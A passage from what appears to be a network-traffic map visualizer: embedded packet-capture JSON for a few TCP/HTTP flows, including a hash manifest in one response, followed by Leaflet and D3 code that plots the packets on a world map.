\"10.152.152.11\", \"ttl\": 64, \"ip_id\": 24170, \"ip_len\": 704, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64005, \"tcp_seq\": 2259389291, \"tcp_ack\": 4093516830, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 116, \"timestamp\": 1781446614.605866, \"timestamp_iso\": \"2026-06-14T19:46:54.605866\", \"timestamp_human\": \"2026-06-14 19:46:54.605\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"40.98.16.61\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 24171, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64005, \"tcp_seq\": 2259389955, \"tcp_ack\": 4093516900, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 117, \"timestamp\": 1781446614.956823, \"timestamp_iso\": \"2026-06-14T19:46:54.956823\", \"timestamp_human\": \"2026-06-14 19:46:54.956\", \"size\": 683, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"40.98.16.61\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 24172, \"ip_len\": 669, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 64005, \"tcp_seq\": 2259389955, \"tcp_ack\": 4093516900, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}], \"tcp_flags\": {\"SYN\": 2, \"ACK\": 30, \"PSH\": 14}, \"packet_sizes\": [66, 54, 3470, 1002, 54, 481, 54, 54, 54, 1081, 54, 713, 54, 682, 66, 54, 3470, 3958, 881, 54, 481, 54, 54, 54, 92, 1153, 54, 718, 54, 683], \"inter_packet_intervals\": [0.0011911392211914062, 0.3360769748687744, 0.038244009017944336, 0.0033669471740722656, 0.40511202812194824, 0.004277944564819336, 1.2159347534179688e-05, 5.2928924560546875e-05, 0.3560469150543213, 0.0010449886322021484, 0.673346996307373, 0.0045740604400634766, 0.5563619136810303, 0.3775181770324707, 0.0006468296051025391, 0.38559699058532715, 0.028750181198120117, 0.010909795761108398, 0.008597135543823242, 0.37832093238830566, 0.00197601318359375, 8.106231689453125e-05, 2.7894973754882812e-05, 0.344663143157959, 0.05693483352661133, 0.0012149810791015625, 0.3521261215209961, 0.001750946044921875, 0.35095715522766113], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 4.679781198501587, \"avg_packet_size\": 658.4333333333333, \"packets_per_second\": 6.410556119505259, \"bytes_per_second\": 4220.923834286245, \"min_packet_size\": 54, \"max_packet_size\": 3958, \"median_packet_size\": 66, \"avg_interval\": 0.16137176546557197, \"min_interval\": 1.2159347534179688e-05, \"max_interval\": 0.673346996307373}, {\"source\": \"10.152.152.11\", \"target\": \"194.36.32.209\", \"packet_count\": 5, \"total_bytes\": 687, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\"], \"src_ports\": [64008], \"dst_ports\": [80], \"first_packet\": 1781446615.807114, \"last_packet\": 1781446616.180115, \"packets\": [{\"packet_number\": 122, \"timestamp\": 1781446615.807114, \"timestamp_iso\": \"2026-06-14T19:46:55.807114\", \"timestamp_human\": \"2026-06-14 19:46:55.807\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"194.36.32.209\", \"ttl\": 128, \"ip_id\": 61255, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64008, \"dst_port\": 80, \"tcp_seq\": 1449574496, \"tcp_ack\": 0, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 124, \"timestamp\": 1781446615.807439, \"timestamp_iso\": \"2026-06-14T19:46:55.807439\", \"timestamp_human\": \"2026-06-14 19:46:55.807\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"194.36.32.209\", \"ttl\": 128, \"ip_id\": 61256, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64008, \"dst_port\": 80, \"tcp_seq\": 1449574497, \"tcp_ack\": 1283517346, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 125, \"timestamp\": 1781446615.80749, \"timestamp_iso\": \"2026-06-14T19:46:55.807490\", \"timestamp_human\": \"2026-06-14 19:46:55.807\", \"size\": 459, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"194.36.32.209\", \"ttl\": 128, \"ip_id\": 61257, \"ip_len\": 445, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64008, \"dst_port\": 80, \"tcp_seq\": 1449574497, \"tcp_ack\": 1283517346, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 128, \"timestamp\": 1781446616.15656, \"timestamp_iso\": \"2026-06-14T19:46:56.156560\", \"timestamp_human\": \"2026-06-14 19:46:56.156\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"194.36.32.209\", \"ttl\": 128, \"ip_id\": 61258, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64008, \"dst_port\": 80, \"tcp_seq\": 1449574902, \"tcp_ack\": 1283520762, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 130, \"timestamp\": 1781446616.180115, \"timestamp_iso\": \"2026-06-14T19:46:56.180115\", \"timestamp_human\": \"2026-06-14 19:46:56.180\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"194.36.32.209\", \"ttl\": 128, \"ip_id\": 61259, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64008, \"dst_port\": 80, \"tcp_seq\": 1449574902, \"tcp_ack\": 1283521763, \"tcp_window\": 8208, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 4, \"PSH\": 1}, \"packet_sizes\": [66, 54, 459, 54, 54], \"inter_packet_intervals\": [0.00032520294189453125, 5.1021575927734375e-05, 0.34906983375549316, 0.02355504035949707], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 0.3730010986328125, \"avg_packet_size\": 137.4, \"packets_per_second\": 13.404786254857845, \"bytes_per_second\": 1841.8176314174677, \"min_packet_size\": 54, \"max_packet_size\": 459, \"median_packet_size\": 54, \"avg_interval\": 0.09325027465820312, \"min_interval\": 5.1021575927734375e-05, \"max_interval\": 0.34906983375549316}, {\"source\": \"194.36.32.209\", \"target\": \"10.152.152.11\", \"packet_count\": 4, \"total_bytes\": 4645, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPResponse\", \"Raw\"], \"src_ports\": [80], \"dst_ports\": [64008], \"first_packet\": 1781446615.80715, \"last_packet\": 1781446616.179906, \"packets\": [{\"packet_number\": 123, \"timestamp\": 1781446615.80715, \"timestamp_iso\": \"2026-06-14T19:46:55.807150\", \"timestamp_human\": \"2026-06-14 19:46:55.807\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"194.36.32.209\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64008, \"tcp_seq\": 1283517345, \"tcp_ack\": 1449574497, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 126, \"timestamp\": 1781446615.807497, \"timestamp_iso\": \"2026-06-14T19:46:55.807497\", \"timestamp_human\": \"2026-06-14 19:46:55.807\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"194.36.32.209\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 51847, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64008, \"tcp_seq\": 1283517346, \"tcp_ack\": 1449574902, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 127, \"timestamp\": 1781446616.156276, \"timestamp_iso\": \"2026-06-14T19:46:56.156276\", \"timestamp_human\": \"2026-06-14 19:46:56.156\", \"size\": 3470, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPResponse\", \"Raw\"], \"src_ip\": \"194.36.32.209\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 51848, \"ip_len\": 3456, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64008, \"tcp_seq\": 1283517346, \"tcp_ack\": 1449574902, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 2792, \"payload_preview\": \"7b224d616a6f7256657273696f6e223a312c224d696e6f7256657273696f6e223a302c22486173684f66486173686573223a2271416957414e73434f314d756d4452553462324654635371486976593934675853464758646972524471343d222c22486173684f66486173686573537472696e67223a2271416957414e73434f314d756d4452553462324654635371486976593934675853464758646972524471343d222c22436f6e74656e744c656e677468223a37393234303630352c22506965636553697a65223a313034383537362c22506965636573223a5b2236336532666e3970354d314a67726f7434324970474d61356265775162424b4c2b656d35306f46622b69343d222c22597558624c676173344c68377750632b2b6556613337453649566465377250466e58346e44676f506b30633d222c224b36696f387735713872346a766342306258626e6b635232626746426477436e6a755847697a634d6d51553d222c223058332b783356312b4a50416a4345354e6732306765723566446531476741596f6c3553774a6f45422b303d222c226d6a7456713273456d78366b62386269436b6952776b67722b6378316e73367448586c76774b75786130493d222c2236762b4a6d6e41786344384568316145702b61315564754a4f6b6b5a7759566d6e71737341675665416a453d222c22354a476568434f57456b757371556d4c3863426e4e4d767635595148352b51446c6d776a7741504c6d50733d222c2252676f443054474a4959317a4a3039314d71696b6653307356305668553358356655744f6c6e6e53454e773d222c22364953337632773973507555572f416b556a663933557265456a4a3578377644626543536f7066416179593d222c224c50487063753231506f41576d6661314c616268356d4b6e316e61376f473335685163792f5139384974303d222c22457745725269654a3258715a58766443356d37664767577067327148484268334337723267485878454b303d222c2238696566472b537a366971484568495665517747746655517665482f5267705136436639545350385a4c513d222c2236654a495a4769796747774732617648694b4a33476351777037394367487371466b78556f7473436a6f733d222c226f66416f2f49666c424a476641424b723156727a696d766234754d334d386c676d784955366c57744a50513d222c225853652f706748334c7963767837714d4930756837706554753976576c387339316b554b70626633554f413d222c22387074626541313644594f7574732f78326e377a726264346f5264504379335157316e7348734865456b343d222c224d5674664b634d6e366d33756a51595a455a46723445392b6d2b52464d6a65344f3945386c2b632f6266553d222c2279597630754346584a634d594676464d6a2f3158496c4e4679737a707256634454464c6e6954346f6e386f3d222c22544159546762787656497a304c5a614651675979375332364c4538626478396e313371794b5049364871593d222c227256374141446142364f3575577a6559667a554766344d43504d4c6870664b4476642b32783569464256383d222c2254324b2f315545553956476e422b676e49675a6e2f2b4d4673346169436252416d66536c5061456a682f493d222c225978385067614f3962644d67494e6b784e344967777643326a5554384c505a3858507041337656696e79513d222c22486e33306a35447754586244347051615759414a475a4c6668636d43662b4c366f4b6776527a6a4a4c666b3d222c223559442f784146675a366a3155726f574a36725052672f47792b6b4573764567632f2b38646e6c576e57303d222c2239316d4f724453445a6a5a785a496d50756237544558374544567463756f76626a64735142773561524a493d222c2266656172354a664874595a454667484f4f6f4336744b4e61477a2b5858467173356d327349476f7a3873773d222c2264754443446d38596e64697733624674476379704471652b776e51504231435a41434c38695a77554f4b6b3d222c22682f4467624e73776b44434b4c6554335a4664775a566e3774314f3465492b364c7649506b723952532b6f3d222c2279505741626b7669434632306f6b304f363462755261305458742f4445563443556f4a796a6b53716732383d222c22594c4f6c59724f5a634b37426d4b62497a31745a53394c2b6249536575674b7973584b746f34524c516c303d222c2277526d344c394e584c627248684f4d72775954396b34354463444c784b62465355342b444e494a4f57706f3d222c22767737544a3279674a6d56496d304c393633395941766b71537845776f4a367059564a55444c474c2f4b343d222c227767767a7265354a564f7553756a6c39486e7631552b3577556f7a4f327a456e626e6930692b755a6a32493d222c2276443348767a347853575855784447634378616a54537651573267354b4c576449364f76787954364c48553d222c224f7a5963324d71356259416476353271594b62326f47703544537965615359656a4a6743306b4430344d413d222c22555156366f747049534e46704335576b48684b2f65566b694b3146696c796663794e7333794d7943434b513d222c2239567659434c435345386f4f65316f774f6e5053475771674873665533796259696b63455746516f77646b3d222c22696a6249626f4a73684f684b4e4f6f6a4563716d346b496d614447776d4d722b4d737a677a4b4b303655343d222c2274426779446c317833364a575774426d2b4675457168624f355a553849506c533030394635443338765a4d3d222c224932416b75474d336c7138765472744a66513837344537526a7171735544787635755735385041654267633d222c2255556d5177523159455a55586a6d4a5348416b6774443678504c46524f79787a464131574c493056786b553d222c22415238664d6c7a3241436d6661743233685634644e67713069674834416536474842677669616f2b4674773d222c22324134754c624463457044557a2f5079684e5a65384a324256657664483154522b43534141462b5665726f3d222c225138623349365561632b5071456b4759542f7555537679757a4e5966376e4950436e4748366939455364413d222c22613261553259616f6c33502b4d716b7045694a2b4945746d366a6937757a587353376a425043525a7367553d222c2237545053646c6a6f64717931713268686d546f6534755159637277595754522b47707a3147784e4c4d334d3d222c224c6345795236756d53347270672b446c59466f6d59337365784c3135547842304f44667076765a386a546b3d222c22485267784b6c624b6d526b59474f487a783063644f716c6248743859494c696441487a684839456a6858773d222c22396c526d61534333456176634c646b3947574c30764733514873576f542f64736458386d616f726f2f4e413d222c2273576349662f59644b7938714155666f4344527457324c6c444b4957726a41717a59514c776c66313351413d222c22726f6f33544f5444524c4e644f3365714d6354396d6b69302f666e776e39633467476638415930355957303d222c226c42482b575739674e7a677961346b747632694e53684a4a666b555868497468436b794d4c4d71495370673d222c22395571446e35537a31474172426148396f452b515575347668674b5a7a305030546771394b6476704a53343d222c226764646541515556594f3165765874702b4f5a39483547334f746143795a6e3777596471664c4643595a553d222c2230794f43614e6f54547166655131763078466a74747a454e486e67786178726e72\", \"payload_ascii\": \"{\\\"MajorVersion\\\":1,\\\"MinorVersion\\\":0,\\\"HashOfHashes\\\":\\\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\\\",\\\"HashOfHashesString\\\":\\\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\\\",\\\"ContentLength\\\":79240605,\\\"PieceSize\\\":1048576,\\\"Pieces\\\":[\\\"63e2fn9p5M1Jgrot42IpGMa5bewQbBKL+em50oFb+i4=\\\",\\\"YuXbLgas4Lh7wPc++eVa37E6IVde7rPFnX4nDgoPk0c=\\\",\\\"K6io8w5q8r4jvcB0bXbnkcR2bgFBdwCnjuXGizcMmQU=\\\",\\\"0X3+x3V1+JPAjCE5Ng20ger5fDe1GgAYol5SwJoEB+0=\\\",\\\"mjtVq2sEmx6kb8biCkiRwkgr+cx1ns6tHXlvwKuxa0I=\\\",\\\"6v+JmnAxcD8Eh1aEp+a1UduJOkkZwYVmnqssAgVeAjE=\\\",\\\"5JGehCOWEkusqUmL8cBnNMvv5YQH5+QDlmwjwAPLmPs=\\\",\\\"RgoD0TGJIY1zJ091MqikfS0sV0VhU3X5fUtOlnnSENw=\\\",\\\"6IS3v2w9sPuUW/AkUjf93UreEjJ5x7vDbeCSopfAayY=\\\",\\\"LPHpcu21PoAWmfa1Labh5mKn1na7oG35hQcy/Q98It0=\\\",\\\"EwErRieJ2XqZXvdC5m7fGgWpg2qHHBh3C7r2gHXxEK0=\\\",\\\"8iefG+Sz6iqHEhIVeQwGtfUQveH/RgpQ6Cf9TSP8ZLQ=\\\",\\\"6eJIZGiygGwG2avHiKJ3GcQwp79CgHsqFkxUotsCjos=\\\",\\\"ofAo/IflBJGfABKr1Vrzimvb4uM3M8lgmxIU6lWtJPQ=\\\",\\\"XSe/pgH3Lycvx7qMI0uh7peTu9vWl8s91kUKpbf3UOA=\\\",\\\"8ptbeA16DYOuts/x2n7zrbd4oRdPCy3QW1nsHsHeEk4=\\\",\\\"MVtfKcMn6m3ujQYZEZFr4E9+m+RFMje4O9E8l+c/bfU=\\\",\\\"yYv0uCFXJcMYFvFMj/1XIlNFyszprVcDTFLniT4on8o=\\\",\\\"TAYTgbxvVIz0LZaFQgYy7S26LE8bdx9n13qyKPI6HqY=\\\",\\\"rV7AADaB6O5uWzeYfzUGf4MCPMLhpfKDvd+2x5iFBV8=\\\",\\\"T2K/1UEU9VGnB+gnIgZn/+MFs4aiCbRAmfSlPaEjh/I=\\\",\\\"Yx8PgaO9bdMgINkxN4IgwvC2jUT8LPZ8XPpA3vVinyQ=\\\",\\\"Hn30j5DwTXbD4pQaWYAJGZLfhcmCf+L6oKgvRzjJLfk=\\\",\\\"5YD/xAFgZ6j1UroWJ6rPRg/Gy+kEsvEgc/+8dnlWnW0=\\\",\\\"91mOrDSDZjZxZImPub7TEX7EDVtcuovbjdsQBw5aRJI=\\\",\\\"fear5JfHtYZEFgHOOoC6tKNaGz+XXFqs5m2sIGoz8sw=\\\",\\\"duDCDm8Yndiw3bFtGcypDqe+wnQPB1CZACL8iZwUOKk=\\\",\\\"h/DgbNswkDCKLeT3ZFdwZVn7t1O4eI+6LvIPkr9RS+o=\\\",\\\"yPWAbkviCF20ok0O64buRa0TXt/DEV4CUoJyjkSqg28=\\\",\\\"YLOlYrOZcK7BmKbIz1tZS9L+bISeugKysXKto4RLQl0=\\\",\\\"wRm4L9NXLbrHhOMrwYT9k45DcDLxKbFSU4+DNIJOWpo=\\\",\\\"vw7TJ2ygJmVIm0L9639YAvkqSxEwoJ6pYVJUDLGL/K4=\\\",\\\"wgvzre5JVOuSujl9Hnv1U+5wUozO2zEnbni0i+uZj2I=\\\",\\\"vD3Hvz4xSWXUxDGcCxajTSvQW2g5KLWdI6OvxyT6LHU=\\\",\\\"OzYc2Mq5bYAdv52qYKb2oGp5DSyeaSYejJgC0kD04MA=\\\",\\\"UQV6otpISNFpC5WkHhK/eVkiK1FilyfcyNs3yMyCCKQ=\\\",\\\"9VvYCLCSE8oOe1owOnPSGWqgHsfU3ybYikcEWFQowdk=\\\",\\\"ijbIboJshOhKNOojEcqm4kImaDGwmMr+MszgzKK06U4=\\\",\\\"tBgyDl1x36JWWtBm+FuEqhbO5ZU8IPlS009F5D38vZM=\\\",\\\"I2AkuGM3lq8vTrtJfQ874E7RjqqsUDxv5uW58PAeBgc=\\\",\\\"UUmQwR1YEZUXjmJSHAkgtD6xPLFROyxzFA1WLI0VxkU=\\\",\\\"AR8fMlz2ACmfat23hV4dNgq0igH4Ae6GHBgviao+Ftw=\\\",\\\"2A4uLbDcEpDUz/PyhNZe8J2BVevdH1TR+CSAAF+Vero=\\\",\\\"Q8b3I6Uac+PqEkGYT/uUSvyuzNYf7nIPCnGH6i9ESdA=\\\",\\\"a2aU2Yaol3P+MqkpEiJ+IEtm6ji7uzXsS7jBPCRZsgU=\\\",\\\"7TPSdljodqy1q2hhmToe4uQYcrwYWTR+Gpz1GxNLM3M=\\\",\\\"LcEyR6umS4rpg+DlYFomY3sexL15TxB0ODfpvvZ8jTk=\\\",\\\"HRgxKlbKmRkYGOHzx0cdOqlbHt8YILidAHzhH9EjhXw=\\\",\\\"9lRmaSC3EavcLdk9GWL0vG3QHsWoT/dsdX8maoro/NA=\\\",\\\"sWcIf/YdKy8qAUfoCDRtW2LlDKIWrjAqzYQLwlf13QA=\\\",\\\"roo3TOTDRLNdO3eqMcT9mki0/fnwn9c4gGf8AY05YW0=\\\",\\\"lBH+WW9gNzgya4ktv2iNShJJfkUXhIthCkyMLMqISpg=\\\",\\\"9UqDn5Sz1GArBaH9oE+QUu4vhgKZz0P0Tgq9KdvpJS4=\\\",\\\"gddeAQUVYO1evXtp+OZ9H5G3OtaCyZn7wYdqfLFCYZU=\\\",\\\"0yOCaNoTTqfeQ1v0xFjttzENHngxaxrnr\"}, {\"packet_number\": 129, \"timestamp\": 1781446616.179906, \"timestamp_iso\": \"2026-06-14T19:46:56.179906\", \"timestamp_human\": \"2026-06-14 19:46:56.179\", \"size\": 1055, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"194.36.32.209\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 51851, \"ip_len\": 1041, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64008, \"tcp_seq\": 1283520762, \"tcp_ack\": 1449574902, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 1001, \"payload_preview\": \"4d7852585a57336765553d222c227547624d506975745074506c6948614c47346164586c4137384961644b5444777970674931686632706f553d222c225969646648364d6d663971505a7a745341376d4953507559444f65334d484b6767646441576b53526349493d222c224864365253354d3144307a467a61635455616a546743544b2f542f386533457047534d33324f4933546f553d222c224a3632625a4a505868744f56686f796e65386875475a79446742496142676279777738556c6748375368553d222c227a4f726842667769725241614b79374250466b74536f674639442b436a4a71597956725058385a4a3559773d222c22645261414f516c71443730567a6236466f45323832526f666a79672f774162624339444c4939515a7470673d222c22595541452f4b6457592b7254754e3656385044632f41716177426f437465655a62764d2f4b7a4e7343776f3d222c2258355a4f655a342b5264754f4f6935447a47506b6b783566663570512f4d3650377a394a725334516b52383d222c222f7a537564754b656962594164454f445751384f7854524f384f6c3452723146346777466e7949413032633d222c22444f30686b68533031672f5966316b4142455274516d5276674d715579454f332f6974307067794b3379553d222c22423379462b6777484d636d716b6c744b2f34746943422b41597a542b7165727844626b59764c4d62694f343d222c222b456a39346d50314a51664945594c6241614d4a4f464d6a457263594b7065654e5539624b656c4a6c6c303d222c225634626967762b7a42393776723447745a4c4a676c556c51316e6b4b332b544262544b6f76757062567a6b3d222c225234354d316c7531667a7039766f4b417252664e454138354242753041584b7566472b49635964354647343d222c2235593479556434733832394a345a5148397539694b347930536e334c6635533870302f6c536c4a4b442b383d222c226938614367774374585847413852654c356f646649355a437455536b58433457522f6a4342737a5a4d30383d222c227a796d46757545733279422b45754e3676652f6c2f3437675153496a445a753559693649583564317939413d222c224c4849693258736f646f44647737435a737957474d69334a667561374a706d4b784a65416e466d7a4835553d222c2256746c687064396a6f424668727855354a72422f7a795656795639343059473567686c30766932434659413d222c224147372f52796a4f77395678546e72713930556a524e666c354e4737497748534d364e2f54546b5647706b3d222c224b3155496249505771673858564c78494e64493755764e38745671306f44503450634741633774735534303d225d7d\", \"payload_ascii\": \"MxRXZW3geU=\\\",\\\"uGbMPiutPtPliHaLG4adXlA78IadKTDwypgI1hf2poU=\\\",\\\"YidfH6Mmf9qPZztSA7mISPuYDOe3MHKggddAWkSRcII=\\\",\\\"Hd6RS5M1D0zFzacTUajTgCTK/T/8e3EpGSM32OI3ToU=\\\",\\\"J62bZJPXhtOVhoyne8huGZyDgBIaBgbyww8UlgH7ShU=\\\",\\\"zOrhBfwirRAaKy7BPFktSogF9D+CjJqYyVrPX8ZJ5Yw=\\\",\\\"dRaAOQlqD70Vzb6FoE282Rofjyg/wAbbC9DLI9QZtpg=\\\",\\\"YUAE/KdWY+rTuN6V8PDc/AqawBoCteeZbvM/KzNsCwo=\\\",\\\"X5ZOeZ4+RduOOi5DzGPkkx5ff5pQ/M6P7z9JrS4QkR8=\\\",\\\"/zSuduKeibYAdEODWQ8OxTRO8Ol4Rr1F4gwFnyIA02c=\\\",\\\"DO0hkhS01g/Yf1kABERtQmRvgMqUyEO3/it0pgyK3yU=\\\",\\\"B3yF+gwHMcmqkltK/4tiCB+AYzT+qerxDbkYvLMbiO4=\\\",\\\"+Ej94mP1JQfIEYLbAaMJOFMjErcYKpeeNU9bKelJll0=\\\",\\\"V4bigv+zB97vr4GtZLJglUlQ1nkK3+TBbTKovupbVzk=\\\",\\\"R45M1lu1fzp9voKArRfNEA85BBu0AXKufG+IcYd5FG4=\\\",\\\"5Y4yUd4s829J4ZQH9u9iK4y0Sn3Lf5S8p0/lSlJKD+8=\\\",\\\"i8aCgwCtXXGA8ReL5odfI5ZCtUSkXC4WR/jCBszZM08=\\\",\\\"zymFuuEs2yB+EuN6ve/l/47gQSIjDZu5Yi6IX5d1y9A=\\\",\\\"LHIi2XsodoDdw7CZsyWGMi3Jfua7JpmKxJeAnFmzH5U=\\\",\\\"Vtlhpd9joBFhrxU5JrB/zyVVyV940YG5ghl0vi2CFYA=\\\",\\\"AG7/RyjOw9VxTnrq90UjRNfl5NG7IwHSM6N/TTkVGpk=\\\",\\\"K1UIbIPWqg8XVLxINdI7UvN8tVq0oDP4PcGAc7tsU40=\\\"]}\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 4, \"PSH\": 2}, \"packet_sizes\": [66, 54, 3470, 1055], \"inter_packet_intervals\": [0.000347137451171875, 0.34877896308898926, 0.02362990379333496], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 0.3727560043334961, \"avg_packet_size\": 1161.25, \"packets_per_second\": 10.730880129354787, \"bytes_per_second\": 12461.234550213247, \"min_packet_size\": 54, \"max_packet_size\": 3470, \"median_packet_size\": 1055, \"avg_interval\": 0.1242520014444987, \"min_interval\": 0.000347137451171875, \"max_interval\": 0.34877896308898926}];\n        \n        // Unified Timeline Data\n        const allPackets = [];\n        edges.forEach(e => {\n            e.packets.forEach(p => {\n                allPackets.push({\n                    ...p,\n                    source: e.source,\n                    target: e.target,\n                    protocols: p.protocols\n                });\n            });\n        });\n        allPackets.sort((a, b) => a.timestamp - b.timestamp);\n\n        // Map Setup\n        const map = L.map('map', {\n            center: [20, 0],\n            zoom: 2,\n            minZoom: 2,\n            maxBounds: [[-90, -180], [90, 180]],\n            maxBoundsViscosity: 1.0,\n            worldCopyJump: false\n        });\n\n        L.tileLayer('https://{s}.basemaps.cartocdn.com/light_all/{z}/{x}/{y}{r}.png', {\n            attribution: '©OpenStreetMap, ©CartoDB',\n            noWrap: true,\n            bounds: [[-90, -180], [90, 180]]\n        }).addTo(map);\n\n        // Projection Helper for Private IPs\n        function getPos(node) {\n            if (node.is_private) {\n                // Place private nodes in the stylized \"Pvt Zone\" (North Pacific area)\n                // Offset slightly per node to avoid overlap\n                const idx = nodes.filter(n => n.is_private).indexOf(node);\n                const pvtLat = 50 + (idx % 5) * 2;\n                const pvtLon = -160 + Math.floor(idx / 5) * 5;\n                return [pvtLat, pvtLon];\n            }\n            return [node.geo.lat || 0, node.geo.lon || 0];\n        }\n\n        // Initialize positions\n        nodes.forEach(n => {\n            const pos = getPos(n);\n            n.currentLat = pos[0];\n            n.currentLon = pos[1];\n        });\n\n        // D3 Overlay\n        L.svg().addTo(map);\n        const svg = d3.select(map.getPanes().overlayPane).select(\"svg\");\n        const 